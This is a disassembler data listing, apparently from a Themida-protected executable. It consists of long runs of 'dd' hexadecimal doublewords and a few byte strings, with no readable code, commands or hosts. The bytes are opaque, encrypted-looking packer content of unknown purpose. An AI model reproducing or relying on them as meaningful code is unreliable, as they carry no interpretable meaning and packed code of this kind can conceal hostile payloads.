7FFC3227h, 0EFE5DF1Fh dd 0E8C08BF9h, 10h, 0F47F6B9Ch, 34891F19h, 1A112A49h, 82D79BAFh dd 665BD78Bh, 3575C281h, 266C04BFh, 138F0F31h, 0E9000000h dd 0Eh, 2CCFDA93h, 99442B9Ah, 64E988B9h, 0B70F46BBh, 816650D6h dd 5B114CE2h, 5E95656h, 83000000h, 82940FF8h, 0EBB75A58h dd 0EFBF28B9h, 0F4A5B852h, 0B70F3EF2h, 52D180D3h, 0D681C18Bh dd 1408DE78h, 0E9DF8BF5h, 0Ah, 5D86E28h, 0B4955BACh, 0B70FC2C4h dd 0C1B050C6h, 14860F5Fh, 0E8000000h, 0Eh, 0C438E55Eh dd 0A6EEA86h, 57FEF9ECh, 665E7C61h, 0F381D78Bh, 4C3D5DD6h dd 0AED18166h, 0FB85722h, 5863DF80h, 0AE9h, 223E5000h dd 7390D873h, 816CB046h, 1B1EF4D6h, 0E681660Ah, 0B70F9A93h dd 0F9FE8BCEh, 80F7B70Fh, 8B6661E8h, 0FE8F1h, 88C40000h dd 0E0A8358Ah, 522E0A40h, 0E1970F71h, 6850F0Eh, 0F000000h dd 88h, 6E85A00h, 88000000h, 0A5BC99E1h, 66F95886h, 0B8B1F28Bh dd 6658FC52h, 2151F081h, 0F8CA8B66h, 45EA53B8h, 0BE95641h dd 27000000h, 0CBEFBBBBh, 0DEF0F7C5h, 505A255Ch, 68D0Fh dd 0CE810000h, 15A8019Ch, 8E95Fh, 0BD450000h, 0DADAD4BEh dd 0CA81B360h, 21D9B685h, 12E813B6h, 0A5000000h, 0C7F6A4CDh dd 6618135Dh, 0EA3CA96Bh, 14ABECBCh, 10E88Ch, 9BA50000h dd 896C4C55h, 0BBD94FCBh, 9ECAC265h, 5B5A241Fh, 59F55260h dd 0BF61E3B7h, 10B4CC9Ch, 22F7B9F9h, 0F516D86h, 1285h dd 0CE800h, 54D80000h, 22D73B32h, 0A3E56BD2h, 59596238h dd 77D68166h, 0BE8A2h, 30A60000h, 0C9DCEDAh, 0CC2F8C8Dh dd 880F5978h, 1Ah, 0EE8h, 38A83D00h, 355F8D31h, 0E6AB166Bh dd 0F6BB97Ah, 8Eh, 8B0F5E00h, 2, 0B70FDA8Bh, 0AE9F0h, 0E3300000h dd 1D9AD6F2h, 2124372Fh, 840F60h, 0E9000000h, 6, 1205DE8Bh dd 60619F0Eh, 13E9h, 30890300h, 0DFE812A7h, 34C9F734h dd 0B38C3109h, 6C5E9E7Bh, 0CA8161F9h, 246509B3h, 8302C181h dd 13E96A6Bh, 3F000000h, 0E9A13368h, 8AB8C973h, 9A7E50C5h dd 0F9E6B835h, 5E9F120h, 64000000h, 0EF539370h, 28F0F56h dd 0B1000000h, 0BBB959A6h, 0E94C2F22h, 12h, 62F880ADh dd 29CA1F04h, 37F6546Ch, 0EC3325B5h, 14E80B70h, 9D000000h dd 495A4223h, 3BC6EFC0h, 0A3FEAD1Bh, 8FF5E9CBh, 58AF8978h dd 1A8A0Fh, 14E80000h, 92000000h, 6629F4CFh, 2229982Ah dd 9C7E224h, 83D80CB2h, 5E7BD130h, 14E98DB3h, 58000000h dd 4FAF4E5Dh, 0FF16577Dh, 1D330446h, 0DCE9900Eh, 0F9C2668h dd 0BE66FABFh, 0C88BE44Dh, 0CE860h, 0D6560000h, 217D8966h dd 0AFAD7241h, 8E949F4h, 1F000000h, 8628DD63h, 5FEC7376h dd 0DCCE8061h, 7E8F9h, 0B9750000h, 3D92C5BCh, 5A65B583h dd 7E9h, 0F266D00h, 0B2436AF2h, 6609CE80h, 66CF3FBAh, 0F5592B8h dd 586h, 8B666000h, 0C78061F7h, 12E83Eh, 9BF50000h, 0CB9D87C5h dd 0FA201C93h, 0A12BCDE2h, 2E923C71h, 5ADEB70Fh, 0E858F952h dd 13h, 0A8EE9A81h, 5EC837B3h, 94DB3696h, 6393804Eh, 6657B7B1h dd 5A6CDFB8h, 0F0BB60F5h, 0E955EA5Ch, 0Eh, 2B7DFB62h, 0D20F0671h dd 467C0C16h, 81611D4Bh, 447B07C1h, 0F081667Fh, 81665280h dd 0F55E77DBh, 3820Fh, 0F7800000h, 0FCBA6658h, 0EF81F9D8h dd 1E5C32BAh, 0E6E78157h, 590DA1FBh, 0FC9DF80h, 6E8FEBFh dd 92000000h, 0DE0A50B1h, 8B665EF6h, 9E9D3h, 81850000h dd 3414B397h, 0E96704EAh, 13h, 0EDB29091h, 16051AC7h, 0EF93AC5Dh dd 0ED1DA093h, 0BA7D2298h, 4536964Eh, 0C1BF0F53h, 59AEB85Ah dd 0BF0F209Dh, 0EE953D8h, 0B3000000h, 28E8A526h, 0D3D5E9EBh dd 16D9901Eh, 0AE95FF9h, 0D7000000h, 6B3D6A6Ch, 10F765DEh dd 0CF8B6609h, 8890Fh, 81500000h, 125294E6h, 0BF0F5F17h dd 66EB8AD2h, 59C2E181h, 0B5C18B66h, 8A0FFC2Ch, 12h, 0AE960h dd 851F0000h, 0C4AC008Ah, 0FB7BBEFAh, 816661F8h, 6618F4C3h dd 662BBFBFh, 518F181h, 0F840Fh, 7E80000h, 0A000000h, 3C825468h dd 5A575E15h, 0B3D08B58h, 5756F97Fh, 8D0Fh, 5E5E0000h dd 0DE9h, 6B8A3E00h, 0B5876DFDh, 7EC0B275h, 0F60AB8Ah dd 80h, 61CFB300h, 0E8F6BF0Fh, 10h, 87991A33h, 0DBA52B21h dd 0AF2CD23Dh, 9A4A1CDDh, 2860Fh, 61600000h, 70BF6659h dd 5DF4B97Eh, 36B82F58h, 0F7D5F3Dh, 3DB3DABFh, 5E9h, 441BA400h dd 0B753F389h, 890F596Dh, 0Eh, 6E8h, 9AFB00h, 0B3921F1Ch dd 11E85A59h, 56000000h, 0BE70992Dh, 2F65C611h, 0BB2E650Fh dd 0A4E1CD10h, 6870Fh, 0F7810000h, 0DA65E9Ah, 0BF666058h dd 0D08BF539h, 0A8F0F61h, 60000000h, 870F6160h, 0 dd 810F61h, 0B7000000h, 0BF0FF8D4h, 0FE9C8h, 800A0000h dd 1455F37Fh, 0D477406h, 7E02C474h, 58FC5654h, 8E9h, 0BB154300h db 0B1h, 9Fh, 2Eh aS_5 db 0Dh,'Υθ',7,0 ; DATA XREF: Themida_:0053FC00o dd 147E0000h, 9921E551h, 0F88B667Ch, 800FFC5Fh, 0 aBIvGfQgs db 'Γκgf»οι',0Bh,0 db 2 dup(0), 85h dd 97AFC66Bh, 41E5B181h, 4EBB6B4Eh, 8177DDCCh, 0E13B8D6h dd 13E913h, 6E060000h, 0C45B1DAEh, 1CED597Bh, 965903Ah dd 9D24F3A0h, 0EF81669Ah, 8F0F3170h, 6, 5D1ED981h, 80F877F7h dd 8B0F65F7h, 4, 1F5FBB66h, 38C0Fh, 0BF0F0000h, 80FA8BC6h dd 0BB668DD2h, 0C181C610h, 1DC4B84Dh, 890FFA8Bh, 5, 13DCE2BAh dd 75B9667Bh, 810FC2h, 0B7000000h, 6E922h, 52900000h, 74C00873h dd 13E960h, 0B82B0000h, 1840DE0Ch, 2B530F0Dh, 0FFC145FFh dd 3879111Bh, 8A61F568h, 9E8DCh, 9C6E0000h, 0F9D56F3Ch dd 66974E75h, 665AF08Bh, 0BF42C381h, 0E8D88B66h, 0Ch, 39391B67h dd 0F3F9ABBFh, 528C9AAFh, 0F5EF3B6h, 28Eh, 81CB8B00h, 5D2777C8h dd 6FD9805Eh, 0E8CFB70Fh, 14h, 0C3B3F489h, 0EE7123FAh dd 6BE94995h, 48F7ADCAh, 0C93B7C4Fh, 0F5810B1h, 12E9D9BFh dd 3C000000h, 0D4DB763Eh, 0A6E9FA21h, 0F781E5F1h, 25256F0Ch dd 0B0FB8BE3h, 0DDBBF8D7h, 0F765645h, 286h, 0E8F08B00h dd 5, 3A3C5938h, 0EF816630h, 60585C50h, 0B1F18B66h, 80FC61AAh dd 0E9F947E1h, 0Dh, 8EEFD8h, 93635580h, 5BE999D4h, 2DD1BBB0h dd 820F5B2Dh, 2, 0EE9F3B0h, 82000000h, 7092364Fh, 0CD167531h dd 618EBE17h, 8B6CB2D5h, 93C881C8h, 0F0F5111h, 810FD3B7h dd 17h, 12E9h, 3AAD1F00h, 91279CA7h, 4C48CE9Fh, 0E47AD3F1h dd 66421FCCh, 32D5EF81h, 66DFB70Fh, 0CA8BF08Bh, 7E860h dd 0C0D90000h, 25C20E5Fh, 0FE91Ah, 942A0000h, 70D08E3Fh dd 8E1A76EFh, 5B652A45h, 8B0F5A0Ch, 0Dh, 7E8h, 0CDEC3E00h dd 0D8A7085h, 8B0F615Ah, 0Ch, 6850Fh, 860F0000h, 0 dd 13E9h, 8D3EF500h, 85B01516h, 96682C65h, 0F5C3A448h dd 52CEC921h, 0D9DC8050h, 48B0F5Fh, 66000000h, 0E93F25BAh dd 0Bh, 0B62E66F5h, 0B7CC7C72h, 0FC59408h, 383h, 0F6B70F00h dd 13E960h, 0F4880000h, 0DE1B4A0h, 1568015Eh, 80E47E12h dd 0E9172E49h, 0F7BF0F59h, 38E38161h, 0B87D18B6h, 274D2ECBh dd 59C98166h, 9BB866A2h, 4AEB8196h, 8B6E7710h, 0DEF081C6h dd 66010442h, 7F21F281h, 228BE181h, 0D3815CE0h, 2FA4F3B7h dd 8D0FCF8Bh, 0 dd 8C0FD88Bh, 9, 0D3816660h, 6160C116h, 1D13BA61h, 0DC8A5B0Bh dd 66F7BF0Fh, 14E9D38Bh, 20000000h, 6FC1D527h, 78F1C340h dd 0B606360Bh, 0D4EE4E1Ah, 0F907224Ah, 10E8h, 0D015B600h dd 77219BD1h, 0DAA33F5Fh, 0EC97343Fh, 5FDD8AF4h, 15870Fh dd 10E90000h, 3A000000h, 20D1A785h, 0AE6B6D99h, 0C5AE8610h dd 801538FCh, 0B70F83E7h, 0EE8D8h, 0C6D80000h, 90D9E24Eh dd 8B091E0Ah, 61755AE6h, 820F52h, 5F000000h, 0D9B70F59h dd 6800F60h, 0F000000h, 89h, 5840F00h, 0BE000000h, 68167F38h dd 0CFBF6061h, 0F3E8A35h, 18Ah, 0F61F900h, 584h, 11A0BE00h dd 0B70F74B1h, 8B72B2FFh, 3840FD6h, 80000000h, 0B70F3AF4h dd 0CFB70FF7h, 8BDBBF0Fh, 0E27CBBC2h, 12E946D8h, 78000000h dd 32C32B57h, 0D42942A0h, 525CDD6Fh, 0ADAC3727h, 5ED08179h dd 6678FA5Fh, 4B92EF81h, 6E9h, 0CE076E00h, 0BBF32840h dd 2D5C8E78h, 0BED08B60h, 53D293A2h, 60C88A61h, 0BE8h dd 2097C800h, 9F6FA6EFh, 0D55AC6DCh, 605B6160h, 80C38B66h dd 6161ACD8h, 10E9h, 44442800h, 9235220h, 0D1492DC6h, 4834CF2h dd 58F0F9Eh, 66000000h, 2525F681h, 9E9h, 0AA1FA400h, 6DBAD566h dd 8C0FBF4Eh, 1Ah, 13E952h, 9E2F0000h, 264AA02Ah, 42B0BCEEh dd 8CDCED19h, 76B29BECh, 0EE95EC7h, 18000000h, 0C6D21F5Ch dd 1A81BEE0h, 490E743Fh, 890FFC7Ch, 0Eh, 9E9h, 0A780A200h dd 680A8222h, 0F3818254h, 2B36567Eh, 5E6C881h, 0C28A1657h dd 14E9h, 86743700h, 0E3F2FE1Ah, 185F7AB4h, 0FC7FA312h dd 5C22EBAh, 0BE9F50Eh, 9F000000h, 0A24F4E3Dh, 31E305A9h dd 80F985C6h, 816648E6h, 66C366D6h, 0BB3FB8Bh, 8840Fh dd 81600000h, 317564E3h, 8166613Ch, 0E93468C3h, 0Bh, 8995AE96h dd 0EE5DB842h, 6611F9A9h, 0DD42E181h, 8B6602B0h, 0C38BF9F3h dd 0E977CC80h, 10h, 0AA096F40h, 222BB820h, 36B51EDEh, 2CC23F38h dd 0E8D38B66h, 0Dh, 51B75B66h, 8D437B26h, 2146C2C9h, 0C352BEB4h dd 51587777h, 12E9h, 0F845C400h, 71DA5571h, 3457DB07h dd 4F6066CFh, 58EDB924h, 0F593BF66h, 890FCE8Bh, 19h, 14E9h dd 0A8429900h, 4551F4B7h, 1698F1E3h, 720E4F6Ah, 6C79EDA4h dd 0D9816684h, 8BB20CD0h, 8D0Fh, 880F0000h, 1Bh, 13E853h dd 82A20000h, 322CA78Ah, 0CC7AEBC3h, 0F2358D5h, 37AD0A09h dd 8A5E5A92h, 9800FE1h, 0F000000h, 384h, 0D38B6600h, 0D07AC281h dd 81660DFEh, 0F563EFC6h, 7EC68166h, 8166F587h, 0F85E4D9h dd 0FF9F1B7h, 0C181F6B7h, 4055B6FBh, 11E9D38Bh, 0EC000000h dd 0F2BF4A0Bh, 0A7CE44BAh, 4458E050h, 1270FD74h, 0BE852h dd 45700000h, 6E3EE4DCh, 52A7F016h, 5B58FC70h, 38C0Fh dd 0BF0F0000h, 28B460F8h, 61DFBF0Fh, 3870Fh, 0F8520000h dd 0DE8B6659h, 0F7793AB9h, 0FFBF0F5Ch, 0F481E181h, 0BF0F4398h dd 31BB66DBh, 14E95319h, 0B2000000h, 55CCFA82h, 2EBF1617h dd 0B3012BEDh, 0A7876F5Eh, 59354EC3h, 0CEDF8166h, 10E94Ah dd 0CD100000h, 98AA4E1h, 0D7F8FBBFh, 60405679h, 820F2D99h dd 0Dh, 8E9h, 341B3400h, 0FF75E063h, 0CABF0FAFh, 5850Fh dd 0F520000h, 0B05FCFB7h, 5E89Bh, 44D40000h, 66C32830h dd 0B958FA8Bh, 51072F84h, 0F78B6660h, 613ED780h, 0D835D081h dd 7E812F1h, 15000000h, 5804B534h, 0B70FA798h, 0BF0F5EF3h dd 14E950D8h, 81000000h, 27F27AA9h, 0D494C997h, 516B8E68h dd 0E5CDCCF2h, 5B221E95h, 567DC981h, 666018FBh, 0B70FF08Bh dd 0BA6661D3h, 0E9FC5442h, 0Eh, 713B040Eh, 42CD23B6h, 7AC04ED4h dd 0CE9B5D3h, 2A000000h, 12430AFFh, 8A1DD76Ch, 663A0088h dd 9ABFDB81h, 816667B5h, 0FB1A3E1h, 48Ah, 14BF6600h, 0F4BA6634h dd 0C781669Eh, 0C68BEA07h, 0FCEBF0Fh, 1682h, 0AE800h, 59B0000h dd 1AB004CDh, 0E360EA78h, 840Fh, 0B65E0000h, 58B0F53h dd 60000000h, 61F85F57h, 0AE9h, 2F6BAC00h, 14C3F5F5h, 0E9E5F044h dd 8, 0D10D52D2h, 0C699FB4Eh, 0EE9h, 5C0D3F00h, 0DF7E0FE2h dd 0ADC1230Ah, 0F58C0FCh, 68Eh, 8D0F00h, 8B000000h, 47D781C6h dd 81039597h, 0ED9269EEh, 2880F20h, 0B4000000h, 12E9E1h dd 0CAC70000h, 0BD687961h, 808C50A3h, 2638D761h, 6E71A32Ch dd 0FE8BE58Ah, 5840Fh, 81660000h, 80C607D6h, 0E48034F2h dd 20BE66BBh, 0D68B5705h, 6E85Fh, 0FF4F0000h, 0D984F299h dd 2BEA8166h, 11E9580Ch, 0ED000000h, 0B45F0641h, 0CC391406h dd 0D485A922h, 0F0E1A13Bh, 48B0Fh, 0BF660000h, 0BF0FEE78h dd 0AE9F6h, 0A7A20000h, 7068B674h, 0DDFF7357h, 5840F57h dd 66000000h, 0E3ECB81h, 8BC88B5Fh, 10E9CEh, 694D0000h dd 0D8A93F25h, 68F7CD76h, 14911ABBh, 0B70FB0A2h, 0BE9D0h dd 0BD0D0000h, 0CEAF47B6h, 0B6773258h, 805E5319h, 0DE8BCFCFh dd 0E9D9BF0Fh, 5, 0DFDE857Bh, 0D681662Ah, 36B2DD56h, 6FEFF381h dd 66565809h, 8B5BFB8Bh, 0E951F9FAh, 11h, 677A2C2Fh, 12A2EEB4h dd 430E8ED5h, 5C881676h, 0D2805B2Fh, 0CDB866A3h, 13E8D2h dd 0A2300000h, 0F9C712F4h, 83EB0A17h, 68050C95h, 55BBE9B9h dd 59EAB26Ch, 8B665260h, 5E959D8h, 12000000h, 1685835Bh dd 0DF8B6661h, 0A0BB6660h, 0C1BF0FC4h, 0CDD38161h, 666B03DDh dd 7CCEF81h, 3800Fh, 0E9800000h, 4830F21h, 66000000h, 0E955B0B9h dd 10h, 5800F6F7h, 0FDBDAAE4h, 0A89C9A9Fh, 3579C4C1h, 66F38B66h dd 532FF181h, 0AADE8166h, 0D177BF03h, 0B70F0D85h, 15D580F1h dd 8E9h, 0AF5FA700h, 6071BDD6h, 0F9B70FE0h, 8B6698B2h dd 58B0FC1h, 60000000h, 61FEB70Fh, 0A8D78166h, 8796B99Bh dd 0CE86361h, 3B000000h, 53DF1DCAh, 0A33507BBh, 0E8475AC8h dd 10h, 90D17753h, 87514672h, 0D82E70A9h, 0D07E66C5h, 13E8h dd 9241F00h, 85A48A41h, 87CC6CE1h, 1DE8207Ah, 2A74EB25h dd 0E95F5B5Bh, 10h, 0BACA461Dh, 7E4B89ECh, 0C0F5E0E3h dd 5E060EDBh, 0BB50FE8Bh, 285250A8h, 0F88BFC59h, 0D980F58Ah dd 2EBF539Fh, 5F22E0D4h, 5CC68160h, 8A24DD12h, 0CE8161CAh dd 102E1454h, 38E0FF9h, 80000000h, 0AE849EAh, 5E000000h dd 28DFAC49h, 19AF0878h, 50F08090h, 12E859h, 7D7D0000h dd 3F21538Dh, 96E4B475h, 0EB9BB32Ch, 0B5A4BAD2h, 5BD7B70Fh dd 8A0FA5B5h, 5, 1CE68166h, 0F78B505Bh, 767BBE5Fh, 0EB8146CAh dd 0A76A8AAh, 14E9C38Bh, 0E2000000h, 0BDCBE780h, 6CFD3894h dd 8D2A7DC8h, 8B72BFCAh, 66626671h, 0F9B09BBh, 0B87h, 0B70F6000h dd 0DFF381DEh, 61753CE2h, 108D0Fh, 7E80000h, 17000000h dd 0E4914A1Dh, 0BF0FDA9Dh, 63B85BF3h, 816FA00Ch, 2529B8D3h dd 6672B570h, 8B04EDBEh, 14E9F9h, 0DC8B0000h, 2A963A72h dd 9EE147E8h, 0F487F664h, 28A8CDE1h, 8B50C0ABh, 0D78B58CFh dd 0FABF0F60h, 91E081h, 0B3613898h, 66616038h, 0E8EFFDBFh dd 7, 0E96FA035h, 0E99C3BC1h, 0Eh, 0D0B4410Bh, 0F2E1D366h dd 3B2EE53Ch, 0B75ACFE3h, 0D6816071h, 274D37BDh dd 6061F38Bh, 11E9h, 26749700h, 670C0F60h, 977E97A6h, 0B7C58B86h dd 61F5048Bh, 1890F60h, 0F9000000h, 61F8B70Fh, 3810Fh dd 0B70F0000h, 7E0FB8D2h, 0FE8B57F8h, 0E8CB8B66h, 14h dd 0CE44BAF2h, 58E050A7h, 70FD7444h, 0DCD18B12h, 0C374A2B0h dd 5890Fh, 9CB90000h, 5E249AABh, 0FC6B70Fh, 489h, 58525600h dd 10810F5Fh, 0E8000000h, 5, 54B5844Eh, 0E6816619h, 535B65BAh dd 398DE381h, 0E959653Ah, 0Fh, 0A26063B4h, 76F0DF04h, 15C21EB5h dd 0F34EA84h, 0BA66DEB7h, 0BE66DFE3h, 0CE9994Ah, 83000000h dd 8CDB4E71h, 2A4CEBDDh, 8B08BCA6h, 5890FC7h, 0BB000000h dd 72BC7197h, 8136B5F5h, 96E442CFh, 0D18B6663h, 8E81EB3h dd 81000000h, 7A3BB7F5h, 662A9CBCh, 1D75E181h, 55B9665Fh dd 0F38B6652h, 6E9h, 0EAD19100h, 0E8EE3D7Fh, 14h, 6ABEDBD0h dd 2B70CCA7h, 14E77DAh, 0F745EDF8h, 2994AC70h, 0F0815EF5h dd 7AA8EBAAh, 0F0B70F60h, 158FBF66h, 0CE861h, 6ECD0000h dd 5DF2C82Bh, 0F0661F10h, 8E0F81D7h, 6, 4142DE81h, 53582D87h dd 5BC3BF0Fh, 0BE9h, 8FB77900h, 0D715E72Ah, 0B1104F0Ch dd 0EE9F78Bh, 0C9000000h, 0AF911706h, 0AF008368h, 95E0C321h dd 0A8BF66EBh, 0D0B966F2h, 13E8BDh, 77C30000h, 677739C1h dd 0BB73732Bh, 15966F67h, 30BD330h, 0FE8B6684h, 11E95Eh dd 0AA720000h, 1A852F3Bh, 1FCE6CBBh, 53198014h, 0B668A80Dh dd 8BF78A2Ch, 6DB866D0h, 49CE80B0h, 50F1D980h, 5AC9B70Fh dd 0BE9h, 628C4A00h, 30227D90h, 2159806h, 5E8h, 81B57B00h dd 0B966BC27h, 815A09A2h, 5C391BD7h, 4890F47h, 66000000h dd 0F744CBAh, 389h, 0CE8B6600h, 880FF98Bh, 3, 60D6B70Fh dd 80A9E280h, 0F6129C2h, 0B70FC3B7h, 0BE952D6h, 99000000h dd 1293010Bh, 0F08CA09Ch, 0E95B8E9Dh, 12h, 6D8D9DAh, 6FF40570h dd 738149FDh, 4D5212E1h, 12E9946Ah, 0D2000000h, 0D86DB4BCh dd 0A34C92BAh, 0CAB5DA51h, 7E3D0FF7h, 12E9FDh, 0AEA90000h dd 0C275166h, 0CE5484BFh, 430F7D37h, 7BC23C41h, 10D28166h dd 0E8EA8A47h, 0Eh, 2318468Bh, 7F63214Fh, 7417D3BCh, 0F6056A6h dd 85h, 870F00h, 61000000h, 0DFBE6658h, 5260F5C0h, 5EC7B70Fh dd 0E961F18Bh, 0Ah, 86B3493Fh, 95BAAD9Fh, 8F0FD57Dh, 0 dd 0CDBD51BFh, 6E847h, 3BA00000h, 0F5EF056Dh, 28B0Fh, 61600000h dd 3DB8665Eh, 0DE816656h, 0B1536CF2h, 0E6815B76h, 5A5DD9DAh dd 253AB966h, 0BC9FD181h, 0BB665090h, 0B8FC0EB0h, 63CD6CB1h dd 9E9h, 413C6E00h, 8D0EF047h, 8B6664E6h, 0F3E880F8h, 80CBBF0Fh dd 0D981DED1h, 474EEA3h, 0B70FFFB3h, 14E8F8C9h, 0A7000000h dd 4B61AC4Bh, 0BFCB9996h, 39E38D8Dh, 27665C31h, 0B92A470Bh dd 66F594F1h, 0E4BF6658h, 9E8FEh, 0F5D70000h, 0F53628ADh dd 600001C6h, 0DE9h, 513FDD00h, 0C129A97Eh, 0AE54A47Bh dd 0CE8A316Bh, 0CE815B61h, 5449A8E5h, 8B0Fh, 0CA8B0000h dd 0FE9h, 266E4E00h, 9F5E638Ah, 2DBFAB35h, 59481168h, 0F414BF66h dd 0AF08160h, 0F5641F42h, 0C78B6661h, 38A0Fh, 0E9800000h dd 7E8A7h, 3ED50000h, 0FA788A6Dh, 2DEA800Ah, 9E95Bh, 6F900000h dd 667B1BD9h, 5074EA44h, 8E7CE881h, 0F5F06D5h, 0D18BF9BFh dd 0BE9h, 0DDC06700h, 0C513F8F7h, 0F24CB34Fh, 13E9h, 0E80E2500h dd 0C4977CCBh, 8361F407h, 9CACB84Bh, 6DB2103Ah, 9ABCBF66h dd 6112BE66h, 66BAF580h, 5E8D68Bh, 55000000h, 0FB4B34C3h dd 58F9B70Fh, 81FC6060h, 0C840B8C6h, 60526164h, 8B615A61h dd 0EE8156F7h, 3E2FDE65h, 0C38B665Eh, 850FD58Ah, 0Bh, 5830Fh dd 81660000h, 0FB0C3D1h, 487h, 3ABE6600h, 0B262BB6Fh, 8BF90EC2h dd 78D681CBh, 0F2E6101h, 381h, 6EC08000h, 2F47BB8h, 8C0F5322h dd 2, 8B59F88Bh, 0FD88BF9h, 1786h, 0FE800h, 0E5B80000h dd 5F971D92h, 4F29FF1Fh, 12A63857h, 5B616051h, 0B111F580h dd 8D34B903h, 8E0F0399h, 8, 2810Fh, 59560000h, 8535BB66h dd 81DF8B66h, 1F1868F7h, 11E9575Eh, 10000000h, 26883064h dd 0C73288BCh, 345203D9h, 0AD830398h, 20E8805Eh, 7CBB6660h dd 860F61E8h, 17h, 11870Fh, 0CE90000h, 9E000000h, 0ED479472h dd 1345414Ah, 80F6EE80h, 830F21DAh, 16h, 11E9h, 62BA4800h dd 0D42B8AFEh, 0F11EC2B1h, 21D5874Dh, 850F0929h, 2, 0F88ADA8Ah dd 4CE080F9h, 38F0Fh, 0E1800000h, 4CDDB86Dh, 8B663A46h dd 0FFBF0FCEh, 52C0BF0Fh, 79C38166h, 0BF0F5A1Fh, 7EEB81D9h dd 807F699Ah, 0DE9B7D4h, 52000000h, 9B31FECBh, 6BB2441h dd 575C6A1h, 1880F60h, 0F9000000h, 816661F9h, 8130A9CFh dd 8E2E3DEBh, 12E928h, 4A1C0000h, 3C18D99Ah, 0D78930CBh dd 413D1890h, 59805476h, 0BED1E880h, 2DF3F3EAh, 0E820Fh dd 0E9530000h, 7, 1753FB38h, 5ECBF1F4h, 0E5B3F38Bh, 0FFCCB8Bh dd 6660D3B7h, 8B61C28Bh, 8E960F3h, 0F4000000h, 0D964D7BDh dd 0F970C4F2h, 9E861h, 14A10000h, 0E76C0272h, 8BD1D577h dd 0D78058CFh, 0BAD08A45h, 332ED8ECh, 8B0FF960h, 0 dd 9E961h, 41E80000h, 9565247Bh, 80BFF09Eh, 0F0819ED8h dd 7760612Ah, 0B2A2CB81h, 0B70F0E56h, 816660DFh, 0E9947ED0h dd 0Fh, 3FCA0D95h, 0EC762924h, 0B36AC2C5h, 61227A79h, 0FABF0F53h dd 0B3F4805Ah, 0B870Fh, 66600000h, 6668EABFh, 2EA1C181h dd 3860F61h, 66000000h, 0E28AF88Bh, 0C4F6BBF5h, 5E854D4h dd 65000000h, 15B5A759h, 18C28166h, 0B70F5FADh, 19C780D8h dd 7E8h, 3832AB00h, 0F41753FBh, 59DBB70Fh, 812ECE80h, 682A73C6h dd 5E979h, 832D0000h, 0BE7A1837h, 6B633354h, 0E2CF8166h dd 3830FEDh, 0F000000h, 8166D9B7h, 0FFE1CCEh, 0B83h, 6E900h dd 0F2930000h, 52260626h, 11E9h, 3D853800h, 25A273ACh dd 30E85DBAh, 4B6D794Ch, 0E9606EF2h, 0Fh, 427B77ADh, 0AD628342h dd 0FE1D63DFh, 613DC193h, 0FA3B1FCh, 890FC6B7h, 0Eh, 9E9h dd 0F207E200h, 0F930DBD2h, 850FA27Ah, 0Ch, 6820Fh, 8A0F0000h dd 0 dd 0A0D08166h, 0E8F18A46h, 8, 0F2B9D33Eh, 5272C4E4h, 21412EB8h dd 6E85E51h, 5C000000h, 3E053286h, 726B99Dh, 805B20D9h dd 0D5B368C4h, 0F7BF0F52h, 8053565Fh, 5859EBC9h, 9B39D681h dd 2BB82E78h, 573CC69Ch, 6D21B5BAh, 80605A25h, 61F591CFh dd 8E808B7h, 0F000000h, 0E5D74489h, 58B88E57h, 0FC38B66h dd 0EF81D2B7h, 5316E3DAh, 1850FFCh, 0FC000000h, 5883BE66h dd 5F5244BFh, 5E82Ah, 352C0000h, 8B319F3Ah, 0F565ECBh dd 28Ch, 5F595600h, 0C28BDA8Bh, 5840Fh, 81660000h, 0F2C11C3h dd 0A87h, 860F6000h, 0 dd 60616160h, 5B5F5257h, 8B61B4B6h, 58C0FDEh, 66000000h dd 8873E781h, 0B4B96653h, 880F5BDFh, 6, 0E351D681h, 0F960071Bh dd 0FCF5F561h, 5810Fh, 0F5600000h, 6661F18Bh, 60ECF281h dd 8D0FF5h, 0E9000000h, 10h, 0CF3CFCA9h, 0FF159F7Eh, 0C0EDB50Fh dd 85A17723h, 2E13B866h, 67821EBAh, 0D18B6641h, 52C1B70Fh dd 29F07DBEh, 0BE95E20h, 0B8000000h, 571AA9E1h, 1A0CB4DDh dd 0B866015Ch, 14E878CBh, 43000000h, 7BC23C41h, 10F0BEFh dd 0E17498AFh, 5F9B774Dh, 81176773h, 228F35D7h, 0C3805F6Fh dd 0E98166F4h, 816691EEh, 66BBD2D9h, 60B234BBh, 58616053h dd 21E18166h, 840F614Bh, 5, 0CA8B6650h, 5E95Bh, 7F750000h dd 0E818BA9Eh, 0Bh, 3E9696FEh, 0D7115128h, 66D8A028h, 0C921DE81h dd 81665258h, 5ABCF7E8h, 0AD9F17BAh, 0A8D0F73h, 0E9000000h dd 5, 0A4E71352h, 28A0F00h, 8B000000h, 0C0B70FD8h, 13E8h dd 77361A00h, 1A5F6C5Ah, 71EE552Dh, 3B3FA7F3h, 54C64E22h dd 665FF38Bh, 0F90C6BB8h, 80DE8166h, 10E93Eh, 64500000h dd 0EF539370h, 0A9F0D8D3h, 1200705Bh, 5E569F7Bh, 600301BFh dd 3FF68118h, 8074C015h, 0BE95DCEh, 76000000h, 0E29622F3h dd 0EDBA55D1h, 0EA81213Fh, 3354C897h, 0D5D98166h, 816651F3h dd 58B5C2D2h, 66FABF0Fh, 2EACC781h, 6820Fh, 0F1810000h dd 3779CEC5h, 0DD80D18Bh, 0A8E0F20h, 60000000h, 830Fh dd 59530000h, 53C18B61h, 8E951h, 0E9EA0000h, 0EEF2CBB6h dd 5F5A0990h, 0D7F18166h, 9E824h, 0E25F0000h, 0BDCBE780h dd 0FFD3894h, 184h, 0F5BFC00h, 387h, 0D7BF0F00h, 0DE8h dd 4023FB00h, 8E1285F7h, 86E67FCDh, 0EB8AB914h, 38F0F5Fh dd 0F000000h, 0E3B7DAB7h, 12E8h, 1E278300h, 10620C9Ch dd 63B7AD8Ah, 6381D9B5h, 0E9FB531Fh, 0Bh, 0E800E6A1h, 0BA725CFDh dd 5BD6F8C4h, 57E400BBh, 0FE873h, 9B4C0000h, 0EE580AD2h dd 37387EFEh, 5F640DB7h, 0F98B66C2h, 0E081665Eh, 0F88A1875h dd 6123EBFh, 24BDBE45h, 7E813C1h, 0CF000000h, 2A6629F4h dd 820F2998h, 3, 5FD88B66h, 2DD88166h, 1C820FF4h, 0F000000h dd 168Ah, 10E800h, 88B0000h, 37946268h, 0F1542DF3h, 8BF3152Bh dd 665BFBB0h, 0FD7F1BBh, 0A8Fh, 5E900h, 464A0000h, 0F3FC0F9h dd 118Ah, 9E800h, 69990000h, 91572E89h, 8B40906Fh, 80535FC7h dd 535A2EEAh, 79E98166h, 0D5805E15h, 0DF8B666Eh, 4388B866h dd 0B8DFB70Fh, 